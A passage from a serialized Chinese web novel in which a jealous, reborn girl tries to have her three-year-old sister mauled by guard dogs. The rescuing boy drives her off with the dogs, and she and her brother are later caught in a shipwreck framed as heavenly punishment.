童倩倩眼神转了转，攥住他的手腕商量：“哥，你先去看船票，回来再定时间。我们来这儿还没见过婉婉，我想看看她在这边过的怎么样。” 童倩倩回忆昨天张南提到她的态度，话里话外竟然透着对她的倚重。 童婉婉不过就是个三岁的毛孩子而已，她再会哄人，又能给她带来多少好处？ 童倩倩决定亲自查看情况！ 童斌不赞同的说道：“大哥都说她早就把我们给忘了，那种没心没肺的东西，看她做什么！” 童倩倩为了立住自己心软善良的形象，装起了好人：“虽然如此，可她毕竟是我们小妹，还是看一眼才能安心。” 童斌念她辛苦借来了钱，没有反驳她的心意。 “那好吧，我先去看船票，你一个人在这里，照顾好自己，别让那些人欺负了去。” “我会的。” 童斌离开后，童倩倩也从张南的院子里走了出来。 上一世她就生活在黎家，对整个庄园早就熟悉得不能再熟悉，唯一的不方便在于，黎家人多眼杂，不管她去哪里，做什么，都有无数双眼睛盯着。 童倩倩只能尽量避开那些人，走偏僻的小路，寻找小婉婉的住处。 …… “小小姐还小，榴莲饼必须做得松软才好消化，不行就多尝试几次，直到做出来为止，否则要是把小小姐吃坏了肚子，别说老夫人那里没法交差，三少爷也要发难！” 厨师长拉着两个专门负责小婉婉膳食的厨师，仔细叮嘱。 童倩倩借着娇小的身体优势，躲在窗户下，借着围墙把身体挡得严严实实。 当她听见，后厨的佣人对小婉婉的食物都这么用心，嘴角直接被无形的线拉扯下抿，把嫉妒死死的咬在齿间。 看来，大哥说的一点都没错，童婉婉真的已经被黎家人认可，对她十分看重了。 所以才会让张南有了底气，说出与他们老死不相往来的话…… 她那个呆头呆脑的蠢货到底是凭借了什么？ 如果单纯讨好，上一世她做的并不少，可黎家人自始至终都没有多看她一眼！ 童倩倩指尖悄悄蜷起，想要继续探听些一些内容。 忽然，背后响起的惊呼，吓得她出了一身冷汗。 “呀，这是谁家的孩子？你在这蹲着难道是想偷吃？” 第56章 姐姐是大骗子 有个佣人去洗手间回来经过窗口，将童倩倩给抓了个正着，还怀疑她来偷东西，让她只能站起来，面对眼前的窘境。 “问你话呢，你谁家的，是怎么进来的？”厨师长听见声音出来后，当即严肃的对她进行审问。 童倩倩脸颊憋得通红，低声回话：“我是五姨太张南的四女儿，过来看望我母亲，刚才在院子里闻见香味儿，不知不觉就走过来了。” 索性，她现在顶着的是一具八岁的皮囊，在所有人眼里，就是一个小孩子而已，又是从贫困的内地来的，嘴馋也可以理解。 她的话没有引起厨师长的怀疑，而且还在听说她的身份后，对她多了几分客气。 “五姨太的女儿，那不就是小小姐父亲那边的亲人？”厨师长见她衣着朴素，又带着几分规矩，于是就让人拿了一个鸡腿，过来把她打发了。 童倩倩带着鸡腿离开，闻着浓郁的酱香，她不自觉的吞咽起口水。 正当她打算咬下去的时候，几个步履匆匆的佣人，刚好从她眼前经过。 “快点快点，要是去的晚了，三少爷准得发飙！” “哎，你说同样是一个母亲生的，三少爷和大少爷的差距怎么就那么大？” “知足吧，自从小小姐过来，他脾气已经收敛太多，我相信以后会越来越好的。” “哎，但愿他那些古怪的毛病能改一改！” 童倩倩通过几个佣人的议论，直接确定了小婉婉的住处。 她竟然跟黎墨郢那个混世魔王住在一起？ 要是这样的话，想见她可就不容易了。 …… 彼时。 佣人们来到黎墨郢的院子，便展开了一场彻头彻尾的大扫除，但凡人眼所见之处，都要清理得不留一丝灰尘。 而这样的场景，在黎墨郢的院子里，隔几天就会发生。 黎墨郢的洁癖让他早就受不了院子里的鹦鹉，拉得满院子都是鸟屎。 他让佣人想办法把这个问题处理掉，最好做到永绝后患。 佣人听完，面面相觑的露出为难神色。 “三少爷，不让鹦鹉排泄，除非不喂它吃东西……” “不行，三哥哥，小鹦鹉不吃饭，会被饿死的。”小婉婉摇晃着黎墨郢的手，小嘴儿撅得活像一只小河豚。 黎墨郢烦躁的要命，偏在这时候，鹦鹉从他头上飞过，一坨鸟屎掉在他白色的鞋尖，他当场脸就黑了。 但他之前答应过小婉婉，不跟她发火，只能忍着恶心，冲进屋子里洗鞋。 “你们不想让鹦鹉到处排便，我有一个办法。” 这时，从门口传来一道陌生的嗓音，众人回头看去，只见一个八九岁模样的小姑娘，笑容艳艳的走进来。 小婉婉看见童倩倩，先是愣了一秒，随即，就不解地挠了挠羊角辫儿。 “姐姐是从天上掉下来的吗？” 小丫头眨巴着浓浓的大眼睛，纯洁又清澈的神采，让童倩倩脸上的笑容面具快要挂不住。 尤其当她看见小婉婉头上的金色发饰，她曾经在黎老夫人的头上见过，据说，是她从娘家带来的嫁妆。 如此贵重的东西，竟然就这么给了童婉婉？ “当然不是，我坐轮船来的。”童倩倩一边解释，一边向婉婉靠近。 她目不转睛的盯着她的穿着，粉白相间的纱裙，裙摆蓬松，衬得她像朵刚刚绽开的花苞，晃得她眼睛阵阵酸涩。 这样的裙子，她上一世在黎墨舒的身上经常见，后来她在过生日的时候，也向张南要了一件。 可是黎墨舒看见后，故意将燃料泼在她的裙子上，并趾高气扬的警告她：“在这个家里，只有她能穿公主裙子，像她这样的野种，根本就不配！” 事后，黎墨舒不光没有受到惩罚，童倩倩在回家后，还被张南警告，不要太过张扬，惹黎家人不高兴。 现在看，发生在她身上的事，到了童婉婉怎么就不应验了呢？ 童倩倩眼底闪过一抹怨毒，就在她刚要触碰到小婉婉的时候，旁边响起佣人的声音：“这位小姐，你刚才说有办法让鹦鹉不乱排便，是什么办法？” 童倩倩站定了脚步，告诉她们：“办法很简单，小孩子的裤衩，给鹦鹉做两条穿上，定期清理清洗就可以。” 说到这里，童倩倩扫了眼周围的环境布置。 竟然有那么多儿童玩具，木马、摇摇车、积木、气垫泳池…… 有钱的日子真是好过啊，只是一件微不足道的小事，就动用那么多人，鞍前马后的效力。 此刻，亲眼见证小婉婉锦衣玉食的生活，她脑海中的疑虑达到了顶点。 她趁着那几个佣人忙着去给鹦鹉走裤衩，黎墨郢也刚好不在，她蹲在地上开口：“婉婉，二哥刚才和我走丢了，这附近我不熟，你能不能帮我出去找找？” “二哥哥丢了？”小婉婉这才知道，童斌是和她一块儿来的。 虽然她也不喜欢那个二哥哥，但如果走迷路的话，妈咪会很着急。 “可以呀。”小婉婉点了点头，拉起童倩倩的手，和她一块儿出了门。 “二哥哥，二哥哥？”小婉婉一会儿倒腾着小腿儿，在附近搜索童斌的身影，时不时奶声奶气的呼唤两声。 “小婉婉快别找了，你二哥出门啦！” 小婉婉仰起头，看见白色的和平鸽落在头顶。 她笑眯眯的弯起眼睛：“不是这个二哥哥，是原来的二哥哥，他走丢了。” …… 童倩倩走近，就看见小婉婉对着树上的鸟，自言自语的说：“小白鸽，你能帮忙找到二哥哥吗？” 白色的鸽子拍打翅膀飞走，童倩倩目光落在小婉婉茫然的脸上，心道了一声：蠢货！ 整天跟那些畜生说话，真当她是神仙转世，能听得懂鸟语？ 就没见过谁像她这么自恋！ “你要找人就用点心，别三心二意的蒙混！”童倩倩观察过四周没人，便肆无忌惮的开始凶她。 小婉婉抿着小嘴儿，粉红色的两片唇瓣儿，被咬出一道浅浅的牙印。 “我没有！” “你还说没有？我告诉你二哥往那边去，你不往那边找，非往这边走，就是在糊弄我！”童倩倩扬手指了一个方向，就是想把小婉婉引到更偏僻的地方去。 没想到，小婉婉两手叉腰，一跺小脚，竟然直接拆穿了她的目的。 “姐姐没说实话，姐姐是大骗子！” 第57章 是你自找的 童倩倩脸上闪过一抹心虚，愣愣的看着小婉婉，不相信凭她三岁的智商，能看透自己的心思。 可她又是怎么知道自己骗她的？ 童倩倩脸颊浮上被拆穿的恼羞，随即，她露出平缓的笑容。 “我骗你做什么？二哥真的去那边了。” 小婉婉用力摇头，眼神无比坚定：“没有，二哥哥出门了，他根本没丢。” “你知道了？”这下，童倩倩的笑容彻底褪得干干净净，被戳穿的恼怒，像滕曼缠上心头，勒得她指尖发凉。 “我就是知道！”小婉婉虽然年纪小，但被欺骗也会生气。 她气鼓鼓着脸蛋儿说了句：“我不理你了！”转身就要回去黎墨郢的院子。 童倩倩预感到不妙，干脆一不做二不休，冲过去把她拽住，在小婉婉挣扎呼喊的时候，用手紧紧捂住她的嘴。 “你以为黎家人喜欢你，我就拿你没办法？” 童倩倩眼底翻涌着不符合她年纪的狠厉，她盯着小婉婉的眼睛，流淌出了嫉妒的毒液，像一只毒蛇疯狂的吐出信子。 “本来我还想多跟你玩一玩的，现在，都是你自找的！” 说完，童倩倩趁着四下无人，抱起小婉婉，向着刚才她所指的方向跑去。 而在那个方向的尽头，是黎家为了看护圈养的七八只烈性狼狗。上一世童倩倩就被人二房的人算计，误入恶犬的围栏，被咬了一身伤，还险些毁容。 不管童婉婉用什么方式讨好了黎家人，既然偏离了她本该有的经历，那么她就亲手把她掰正！ 她所经历的一切痛苦，必须让童婉婉亲身体验，她才会感同身受，曾经的自己生活的多么痛苦！ 如果童婉婉受重伤，或者被那些狗咬死，张南也就没了指望和仰仗！ 这样，她就会自责、懊悔，活在她本该承受的煎熬中！ 童倩倩准确的找到狗场，直接将小婉婉丢进围栏，她死死盯着三岁的小奶娃，等待着那些恶犬扑上来。 那双浸透了恶意的双眼，没有一丝对血腥的避讳，相反，全都是期待暴戾发生的凶狠和兴奋。 …… 黎墨郢洗完了鞋，还是觉得自己被鸟屎污染，干脆进浴室去洗澡，从头到脚清洗干净，换上崭新的衣服走出来。 “婉婉呢？”他冷声询问打扫卫生的佣人。 佣人们这才反应过来，小婉婉没在院子里，纷纷低下了头。 “对不起三少爷，我们都在忙着干活，没主意小小姐去了哪儿。” 黎墨郢色厉内荏，又问：“我刚才听见院子里很吵，有谁来过？” 一个人佣人说：“是小小姐内地的姐姐，过来看她。” “你说什么？”黎墨郢顾不得洁癖，猛地攥住佣人的胳膊，声音低哑的像被砂纸打磨过：“是不是她把婉婉带走了？你们这么多人，连一个小孩子都看不住！” 佣人疼的脸色苍白，却不敢挣开，只惊慌的摇头：“对不起，三少爷，都怪我们大意了。” 黎墨郢没听她道歉，猛地松开手，转身往外冲。 院子里，刚刚晒起的衣服，被他带起的风，卷落在地上，他却连眼皮都没抬一下，满脑子都是小婉婉被欺负的画面。 “婉婉！”黎墨郢吼出声，在空荡的院子里回响。 就在他转向面对着北方的时候，身上的凤凰图腾传来一股温热的力量，像是一道指引，让他像离弦的箭，冲了过去。 …… 童倩倩把童婉婉丢进狗场的一瞬间，里面的狗群就炸开了锅。 小婉婉被吓得苍白着小脸儿，直接就杵在那儿傻眼了。 只见，十几条巨型猎犬一边狂吠着，一边淌着涎水，向她扑了过来。 就在这时，一道黑影带着破风的声响极速掠过。 童倩倩都没来得及看清是什么东西，只觉得眼睛一花，就看见最先扑出去的狼狗硬生生顿在原地，前腿一软差点栽倒。 这幅滑稽的场景，直接影响到了它狗王的威武，凶性荡然无存。 紧随它后面的狗也像是在瞬间被按下了暂停键，有的僵在半空，有的瑟瑟发抖的低着头，跑回后面的窝里。 更有甚者，四脚抖得像筛糠，原地被吓尿了。 不过几秒钟，方才还张牙舞爪的狗群，挤成一团，将脑袋埋在同伴身下，仿佛见到了什么可怕的东西。 童倩倩睁大了眼，不敢置信，这些狗竟然会害怕一个三岁的孩子？！ 事实上，不远处的假山顶，一只威武霸气的海东青挺拔而立，锐利的鹰眼如同两道冰锥，正蓄势待发的盯着下方的狗群。 但凡它们有一点擅动，就会成为它利爪下的猎物。 “你们这些蠢狗，怕她做什么？你们快点上啊，咬她！”童倩倩又急又恼，捡起地上的石头，就向狗群砸去，意图激发它们的凶性，再次对婉婉发动攻击。 然而那些狗非但没有行动，反而被她手里的石头砸的嗷嗷叫唤。 童倩倩期盼落空，急得直跺脚，当她又捡起一块石头，对上的是小婉婉愤怒，又透着难过的大眼。 才三岁的她，不明白姐姐为什么要让那些大狗狗咬自己。 她只是紧紧的攥着小拳头，在眼睛里的泪珠快掉落的时候，及时的擦掉。 姐姐是坏人！ “童婉婉，要怪，就怪你不该替妈讨好黎家人。”童倩倩攥着石头的手调转方向，正对着面前的小婉婉。 小婉婉意识到她要用石头打自己，本能的开始后退。 却在一瞬间，背后碰到坚硬的东西。 她立刻扭过头，对上一双深沉的眼睛，发现是黎墨郢。 “三哥哥！”小家伙一把扑进他怀里，惊吓让她的小身子微微颤抖。 黎墨郢见到小婉婉平安无事，才松开紧绷的神经，将她紧紧的护在怀里。 但怀里发抖的小人儿，却使他心头的怒火仍然熊熊燃烧，垂眸，居高临下的看着趴在地上的童倩倩。 “你想对婉婉做什么？” 童倩倩捂着肚子，在听见黎墨郢声音后，后背激起了一层密密麻麻的疙瘩，上一世被他植入的恐惧侵袭脑海。 让她完全想不起自己是怎么被他踢倒的，也不知道黎墨郢接下来会做出什么。 她只有本能的求生欲，激发出狡辩：“不是……婉婉她自己跑到这里，我怕那些狗伤害她，才用石头打它们。” 第58章 谁是你三哥？ 黎墨郢一眼就看穿她在撒谎！ 不过为了让她心服口服，他抚摸着小婉婉的后背，轻声问：“是这样吗？” 小婉婉用力的摇头，说出事实：“姐姐把我放进来，让狗狗咬我，狗狗不咬，就想打我。” “不，三哥，婉婉误会了，不是这样……”童倩倩继续为自己辩解。 然而，黎墨郢危险的眯着眼睛，用极度清冷的嗓音问她：“谁是你三哥？” 只一句话，童倩倩仿佛回到了上一世，重复曾经经历过的场景。 那是她第一次见到黎墨郢，少年微扬着下巴，目光扫过来时，像是带着薄冰，落在人的身上寒冷刺骨。 “谁允许你叫我三哥？来人，给我打她的嘴。” 当这两幅画面重合在一起，童倩倩身体不受控制的发抖，小拇指疼痛记忆也跟着复苏，钻心一样的疼。 她嘴唇哆嗦了半天，却说不出一个字来。 黎墨郢倨傲的勾起唇角，那似笑非笑的模样，恍若魔王苏醒，发现了猎物的兴奋。 “我只有婉婉一个妹妹，像你这种贱骨头，也配叫我？” 童倩倩连忙道歉：“对不起，是我口误。” “你们这些人，到我家欺负婉婉已经不是第一次了。”他睨着童倩倩，身上散发出的凛冽气息，比那海东青的震慑，还要让狗群惶恐。 他只是轻轻的招了招手，那些烈性犬便从犬舍跑出来，一个个驯服的坐在他脚边，等待着他的发号施令。 童倩倩这才意识到，这群狗的主人，就是黎墨郢！ “我给你三分钟，从我家滚出去，否则你会发生什么，我不敢保证。” 黎墨郢只是扬手一指，领头的猛犬猛地扑向围栏，发出震耳的咆哮。 童倩倩被狗口中喷发出的腥臊气息，吓得浑身一颤。 “啊！”的尖叫声直接劈了叉，随即看见另外的几条狗已经躬起背脊，前爪刨着地面，随时准备向她扑过来。 童倩倩再也顾不上为自己狡辩，双腿拼命用力从地上爬起来，跌跌撞撞的往大门的方向跑去。 而黎墨郢嘴上说给她三分钟，实际上，在她跑开的瞬间，他就打开了围栏。 七八只烈性犬奔着童倩倩逃跑的方向，一股脑冲了过去！ …… 童倩倩的辫子都跑的散开了，碎发糊在汗湿的额头上，鞋子踩在石子路上磕磕绊绊，好几次差点绊倒。 她听见身后的犬吠声越来越近，粗重的喘息好像追随脖子后的热浪，吓得她眼泪直接涌了出来。 童倩倩根本就不敢回头看一眼，只知道拼命的往前冲。 就在她跑到拐角处的时候，率先跑在前面的德国牧羊犬，一把咬住了她的袖子，凶狠的向后撕扯。 童倩倩用力挣脱，丢下撕碎的袖子继续狂奔。 就在她一口气跑到山下，看见了大门，以为跑出去就能安全了。 却没想到，一只灵缇犬竟然绕过大部队，在她的前面出现！ 童倩倩在前后夹击之下，只能去和灵缇犬硬拼，忍着胳膊上被咬的一口，她硬撑着冲出大门。 彼时，童斌从码头看了船票回来，见到童倩倩受了伤，狼狈的从大门跑出来，就知道她在黎家被欺负了。 “倩倩!”童斌愤怒的冲上前去。 童倩倩扑到童斌怀里，抽噎着瘫软下来，浑身禁不住的发抖。 当她回头看去，发现那些狗都追出了大门，攥着童斌的手指甲，紧张到陷进肉里。 “二哥，快，快跑！”童倩倩已经连说话的力气都没有了。 童斌听见狗吠声，才明白当下的处境有多危急。 生平怕狗的他，也顾不上找谁理论，抓着童倩倩的胳膊，向着山下狂奔而去。 山间的碎石被午后的太阳晒得烫脚，童斌拽着童倩倩的手腕往前冲，身后的七八只恶犬，宛若炸雷似的撵着他们的脚后跟。 “啊！”忽然，童倩倩双腿一软，直接跪在了地上。 童斌不得不停下查看她的伤势。 就在这半秒的迟疑，德国牧羊犬直接扑了过来，尖厉的牙齿狠狠的咬在童斌的小腿上。 童斌疼的闷哼一声，额头的青筋都冒了出来。 童倩倩见状，赶忙捡起一块石头向狗头上砸去。 德国牧羊犬意识到危险，后退着发出狂吠。 童斌见威胁起效，拉起童倩倩，忍着腿上的剧痛，继续跑向山下。 在这个过程中，他的裤腿被血液浸湿，一路蔓延到了脚踝。 血腥味的刺激，让那些烈性犬的凶性更大，就在兄妹俩以为将要丧命的时候，一声哨响，将追赶他们的狗群召回。 兄妹俩再也撑不住，双脚一软，跌坐在地上。 隔着遥远的距离，他们看见黎墨郢坐在一辆拉风的机车上，居高临下的睥睨着，宛若胜利的王，对失败者给予蔑视。 “那个人是谁，是他放狗咬你？”童斌捂着腿上的伤口，愤愤不平的问。 童倩倩嗓子火辣辣的烧，蓬头垢面的她泪水不停地往下落，“是三少爷黎墨郢，二哥你别问了，他那样的天之骄子，我们惹不起。” “我就不信，这里还没有王法了！”童斌气轰轰的刚要站起来，却被腿上的伤牵制，苍白着脸倒了下去。“啊，好痛！” 童倩倩赶忙上去掀开他的裤腿，发现那一口咬得很深，需要尽快处理。 她想带童斌去医院，可是黎墨郢和那群烈犬，就在不远处，如死神的双眼凝视着他们。 她不敢耽搁，架起童斌的胳膊，将他搀扶起来。 “二哥，港城不安全，我们先回内地，再去看医生。” 童斌点了点头，就着她的搀扶，从口袋里掏出两张船票。 “幸好，我提前买了票，反正钱借到了，我们先回去。” 如此，兄妹俩互相搀扶着彼此，一瘸一拐的向码头赶去。 黎墨郢在他们的身影走远后，启动机车，带着一群烈犬回到庄园。 …… “三哥哥！” 刚洗完澡的小婉婉顶着一头湿漉漉的头发跑过来，担心黎墨郢的身体还没康复，小脸儿上写满了对他的牵挂。 黎墨郢摘下头盔，放在一旁，刚拿起毛巾准备为她擦头，幕地两眼一黑倒地，在晕眩中昏死过去。 “三哥哥？三哥哥你怎么了？快醒醒啊！” 第59章 臭小子属牛的 小婉婉的叫声唤来了刘妈，见黎墨郢晕倒，她立即叫来帮手，将他扶到床上去休息。 几乎是在他躺在床上的瞬间，孙师傅推开房门，直接走了进来。 他在刚才已经察觉到，黎墨郢发生了状况，所以第一时间赶来。 “孙师傅，你快看看三哥哥，他睡着了，怎么也叫不醒。”小婉婉跑过来，抓住他的褂袍。 孙师傅颔首，立即跟随她去查看情况，同时对佣人交代：“你们先带小小姐整理一下，我这就给三少爷做个检查。” “好。” 等小婉婉穿好了衣服，孙师傅刚给黎墨郢号完脉，同时收到消息的黎老爷，和老夫人也赶了过来。 “孙师傅，阿郢这是又怎么了？好端端的，怎么又会晕倒？” 孙师傅也好奇，是什么事让黎墨郢动了那么大肝火，不惜动用本元之力，几乎耗空了气血。 而本元之力，是修行者需要修行几十年，乃至百年都未必能灵活运用。 黎墨郢虽为黑龙转世，却还是一副肉体凡胎，擅自动用本元，自然驾驭不好。 用直白的话说，他现在虚弱的，能被人一屁股坐死！ “哎，这个我也说不好，刚才三少爷做什么了？”孙师傅下意识看向和他生活在一起的小瑞凤。 小婉婉被点到名字，挠了挠小脑瓜，琢磨着要从什么地方开始说起呢？ 好在一旁的刘妈知晓事情经过，对孙师傅讲了一遍。 “是小小姐父亲那边的姐姐过来，擅自把小小姐带去犬舍，三少爷知道后很生气，好在去的及时，小小姐没发生意外，三少爷就放狗把人撵走，又去追狗，回来就晕倒了。” “对，是姐姐让大狗狗咬我，三哥哥帮我把她赶走了。”小婉婉奶声奶气的附和。 “什么？竟然又是婉婉父亲那边的人？那几条狗生性凶恶，她让那些狗咬婉婉，她的良心得有多坏？” 黎老夫人现在对童家的人，不光没有一点好印象，还有一股恨不得弄死了拉去鞭尸的愤怒。 黎老爷更不用说，眼下那些人不光害得自己的孙子躺在床上，要是刚才墨郢晚到一会，自己将会失去这个可爱的宝贝孙女儿。 “太可恶了，是可忍孰不可忍！现在就去把张南叫过来，我要问一问，她在婉婉前面生下来的几个，都是什么东西！” 黎老爷震怒，全家都得跟着抖三抖。 张南很快就被传了过来，就在黎墨郢的书房里，她站在地上，面对公婆严肃的表情，卑微的低着头。 她本能猜想童斌或者童倩倩在离开前闯了祸，要么就是他们对婉婉做了什么，惹老爷和老夫人不高兴。 果然，不出她所料，黎老爷还没开口说话，最疼爱小婉婉的黎老夫人就先对她发难。 “张南，你明知道你另外几个孩子不喜欢婉婉，为什么还要让他们来我们家？你知不知道，婉婉今天差点被害死，还有阿郢，为了去救婉婉，现在躺在床上昏迷不醒！” 张南猛的抬头，脸上写满慌乱和震惊，膝盖发软，差点瘫下去。 “怎么会这样？他……他们做了什么？怎么会差点害死婉婉，还让阿郢受伤？” 且不说二老对小婉婉的重视程度，光是黎墨郢昏迷不醒，就让张南意识到了情况的严重。 以二老对黎墨郢的重视程度，如果他醒不过来，那么自己就完了！ “还能做什么？你那个女儿，把婉婉丢进狗舍，要那些狼狗咬她！墨郢就是因为这个大动肝火，才被气倒了！” 张南听了老夫人的话，震惊到不可思议的瞪圆了眼睛。 倩倩的胆子竟然这么大！ 威胁自己就算了，还想害死婉婉？ 不过她听到黎墨郢是被气倒，并非受伤才晕倒，内心的恐惧削弱了一些。 她知道这个时候，做任何的狡辩都没用，只能先向他们忏悔。 张南扑通一声跪了下去：“对不起，老爷、老夫人，我其实已经跟他们说清楚，跟他们断绝来往，让他们以后都别来找我。我没想到……倩倩那孩子会嫉妒心这么重，也许是因为这个，对婉婉产生记恨，才会去害她。” 张南眼睛里的泪水，像珠子一样往下掉。 黎老夫人见她第一时间承认错误，态度有所缓和。 不过黎老爷仍然板着脸，脸色黑沉的像关公。 “我不管你跟那些人来往或者不来往，你另一个女儿对婉婉下狠手，在我黎家绝对不容，以后他们任何人来到港城，不出现在我们面前则罢，只要出现一次，必须连本带利讨回来！” 黎老爷这是告诉张南，他记仇了，不会轻易的咽下这口气，日后寻到机会就会报复。 张南现在连自己都保不住，又怎么保得了前夫那边的人？ 何况童倩倩所作所为，不止让她失望、心寒，更多的，是对这份亲情的绝望。 “老爷，我已经跟他们划清界限，以后不管您做什么，我都不会为他们求情半个字。” 听见了张南的表态，黎老爷这才没有继续追究。 将张楠打发走，二老又回到黎墨郢的房间，向孙师傅询问他的情况。 孙师傅捋了捋山羊胡，考虑到天机不可泄露，便说出事先准备好的措辞。 “二位不必太过担心，三少爷只是气血有些亏损，多吃点好的补品，像百年人参、阿胶、灵芝这类大补的东西最为好，且是越多越好。” “这些东西家里倒是有，可是补太多，阿郢他不会上火？”黎老爷在身体康复后，一直研究养生，对这些方面还是有些了解的。 孙师傅见自己被质疑，尴尬地笑了两声。 “三少爷虚弱过重，外加体寒，二位只管给他补就好，不会上火的。” “哦，那就好。”随即，黎老爷马上让佣人去库房，将里面所有名贵补品全都拿过来。 不出一会儿，佣人陆陆续续的送来补品，将黎墨郢房间里的桌子堆积成了小山。 “孙师傅，这些可是我攒了好久的，真的能用完吗？”黎老爷看着桌上大大小小的珍贵药材，不仅觉得夸张，心口也隐隐发疼。 却听孙师傅来了一句：“差不多吧，省着点用应该够了。” 黎老爷差点闪到老腰！ 气呼呼地瞪向床上昏睡不醒的黎墨郢：“这个臭小子，他属牛的啊这么能吃？” 第60章 四妹，我不想死 “你管他属什么的？阿郢现在醒不过来，左右不都得治！” 黎老夫人对那些草药什么的不感冒，眼里只有自己的孙子最重要。 “你喜欢那些东西，以后再搜集就是，它们再珍贵，能比阿郢的命还贵？” 黎老夫人把老爷子怼的不说话了，一个人默默的坐到了窗口。 彼时。 孙师傅已经让人去把那些草药配比完，送到厨房，分批次熬制后，尽快给黎墨郢喂下去，盼望他早日苏醒过来。 …… 童倩倩与童斌相互搀扶着搭上了邮轮，看着渐渐远去的港口，兄妹二人才终于放松神经，坐下查看身上的伤口。 童倩倩的手臂是被灵缇犬咬伤，划出了一道长长的口子，虽然已经结痂，血液黏住了袖子，一碰就疼的她直冒冷汗。 “先别管我了，二哥，我看看你的伤。” 她掀开童斌被血染透的裤腿，德国牧羊犬的咬合力惊人，两颗黑洞洞的齿痕，狰狞地陷在皮肉里，边缘被撕裂的直往外翻。 逃跑了一路到现在，鲜血还在顺着皮肉往外涌，根本就止不住。 “不行，这样下去会发炎的！”童倩倩焦急的起身，向游艇上的工作人员求助。 工作人员过来查看童斌的伤势，发现确实严重，提出带他去医务室处置。 “还有我妹妹，她胳膊也被咬伤了。” “那你们俩都跟我过去吧。” 工作人员带着兄妹二人起身，刚走了两步，凭空响起的一声闷雷，震动了整个船舱，有不少旅客都被吓了一跳。 童倩倩和童斌更是被同时吓出了一身冷汗。 抬头看去，铅灰色的乌云像被打翻的墨汁，瞬间吞噬了整个海面，黑压压的包裹着轮船的正上空。 “起风了，不会是暴风雨要来了吧？”这时，有人慌乱的起身查看情况。 船舱内的乘客都跟着慌乱起来，在舱内闹出不小的骚动。 “我今天特意看了天气预报，是晴天！” “如果有暴风雨，我们必须得回去。” “靠岸，快点靠岸！我们要回去！” 工作人员见船舱乱作一团，也顾不得被狗咬伤的兄妹，立刻站出来安抚人心。 “大家不要怕，如果今天的天气真不适合航行，船长自然会返航，请大家相信我们，船上有海航专家，请大家相信他们的判断力！” 天空，开始漂浮细小的雨点。 乘客们观察了一会儿，发现天上的乌云迟迟没有变化，也就渐渐的冷静了下来。 童家兄妹两个也被工作人员带去了处置室，医生在给他们查看过后，进行了简单的处理。 叮嘱他们上岸以后第一时间到医院缝针，并补种狂犬疫苗。 童倩倩答应，刚扶着童斌起身，忽然，船体猛烈的摇晃了一下。 医生立刻用手扶住栏杆，听见处置台上的工具哗啦啦的掉落的声音，嘴里的一声“小心”还是晚了。 童倩倩和童斌因为身边没有抓稳固定身形的东西，齐齐摔了个大马趴。 轰隆一声。 又一声更大的闷雷响起，震荡着地上的金属工具，发出“嗡嗡”的声响。 童倩倩摔倒的时候压到了胳膊，疼得她倒抽一口凉气，而童斌就更惨了，摔跤绊到了伤腿，更多的血哗哗的往外流。 “二哥，你怎么样？”童倩倩忍着伤问。 童斌已经疼的说不出话，为了不让妹妹担心，面色痛苦的摇了摇头。 狂风宛若脱缰的野兽呼啸而至。 掀起海上的巨浪，像一座座会移动的山丘，狠狠的砸向邮轮的船身。 每当童倩倩想要搀扶童斌起来，都被船身给晃动回去。 来来回回的痛煎熬着兄妹俩，然而工作人员脸色惊慌的跑了过来。 “不好了，暴风雨来了，全员开启一级戒备！” 童倩倩瞪大了眼睛，全员一级戒备，那是面临海难时才会开启的警报，象征着船有可能会沉！ “二哥，我们得回船舱里去！”童倩倩不顾手臂上的伤，撑起身体。 好在医生过来帮忙，和她一起架着童斌，来到船舱内部，领到了救生衣和相关保命物资。 哐当！ 一声巨响，甲板上的桌椅全都被巨浪掀翻，玻璃在狂风中发出痛苦的呻吟，随即炸裂成了碎片。 尖叫声，此起彼伏的涌动在船舱。 乘客们都被这场景给吓得乱成了一锅粥，大声怒吼、妇女、孩子的哭声，祈祷声，绝望的哀嚎，不绝于耳。 童倩倩死死攥着自己受伤的胳膊，牙齿咬得嘴里弥漫起血气。 她定定的盯着波峰浪鼓的海面，无法相信，自己重新来过的人生，将会在海难中结束！ 暴雨如漂泊般倾泻下来，很快就模糊了海天的界限，只有邮轮金属扭曲的刺耳声穿透雨幕。 船身慢慢开始倾斜，越来越陡，船舱内的摇摇欲坠的乘客，努力的抓住能固定身体的一切，却还是被惯性甩到了一侧。 海浪疯狂的涌入船舱，吞噬着过道、房间，原本灯火明亮的船舱转瞬陷入黑暗，只剩下微弱的应急灯，在水中摇曳。 “船要沉了，我们完了！” “呜呜呜，我不想死，我妈还在家等我回去吃饭！” “别哭了，谁想死？我老婆孩子都在家等我回去！” “不是说船上有专业人员的吗？一点都不靠谱，救命，救命啊！” 随着船体倾斜的角度越来越大，邮轮的烟囱在一声巨响中断裂，坠入翻滚的大海。 整个船体也在巨浪的拍打中，彻底翻转，带着无数的碎片和绝望的呼喊，扩散出一圈圈涟漪。 穿着救生衣的人们，在海面灰色的浪潮里，一个拉着一个，一个拖着一个、拽着一个，轮船破碎之下产生的漂浮物，成了他们唯一活下来的生机。 童倩倩的手臂上虽然有伤，但幸运的是她在船沉的时候，抓住了一扇铁门。 童斌因为腿伤，蹬不动水，童倩倩紧紧的拉着他，费了好长时间，才将他拖到铁门上。 彼时，有一个大浪打来，海面上不少人都被浪头卷走，冲去更深的海域。 童斌早就吓得尿了裤子，抓着童倩倩的手，雨滴混合着鼻涕口水，糊了他整张脸：“早知道我们就不来港城了，四妹，我不想死……” 第61章 童建洲的天塌了 黎家山庄。 孙隆把补品一股脑的给黎墨郢喂了下去，紧跟着就吩咐佣人去熬煮第二锅。 他听见远处的天空传来闷雷的响动，立刻放下药碗，来到窗口。 黎家的山庄处在半山腰，是以，只要没有建筑物遮挡的院子，都能看见广阔的大海。 此刻，孙隆望着海面上呼啸而过的暴雨，微微皱起了眉。 “孙师傅，那是……发生海难了吗？”黎老夫人也走了过来，发现海上的情况后，不由一阵心惊。 黎老爷随即跟着过来，观察了一会儿，不禁感慨：“这样的暴雨，已经很多年没有过了，不知道海上的船，能否平安无事。” 音落，却见孙师傅手指快速掐算，不过片刻便道出缘由。 “今日本该是个晴天，海上忽作骤雨，乃是天罚警告，必然是船上有人行过错事，或招惹神明！” “天罚警告，那可是一整船的人啊，不会牵连无辜吗？”黎老夫人不解发问。 孙师傅可以理解老夫人的悲悯之心，人到了老年，才更加与人为善。 “老夫人多虑了，若是吉人遭此难，自有天道庇护，化险为夷，日后也会因为这次灾祸平步青云。是以，越是此等情形，才越考验人心。” “原来如此，我记得婉婉那两个手足今天回内陆？他们会不会就在海上？” “兴许吧。” 